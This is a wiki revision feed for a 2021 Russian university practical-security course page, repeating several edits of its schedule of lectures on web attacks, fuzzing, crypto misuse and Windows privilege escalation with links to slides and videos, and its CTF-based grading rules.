		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=573</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=573"/>
		<updated>2021-05-25T11:27:39Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды] [https://youtu.be/p195JmRCvNs видео - часть 1] [https://youtu.be/eGTzK9w1egk видео - часть 2])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды], [https://www.youtube.com/watch?v=KK2z-jCxBwk видео])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=572</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=572"/>
		<updated>2021-05-25T11:25:29Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка] [https://youtu.be/p195JmRCvNs видео - часть 1] [https://youtu.be/eGTzK9w1egk видео - часть 2])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды], [https://www.youtube.com/watch?v=KK2z-jCxBwk видео])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=571</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=571"/>
		<updated>2021-05-25T11:24:48Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка] [https://youtu.be/p195JmRCvNs видео - часть 1] [видео - часть 2])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды], [https://www.youtube.com/watch?v=KK2z-jCxBwk видео])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=570</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=570"/>
		<updated>2021-05-25T11:24:05Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка] [https://youtu.be/p195JmRCvNs видео - часть 1])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды], [https://www.youtube.com/watch?v=KK2z-jCxBwk видео])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=569</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
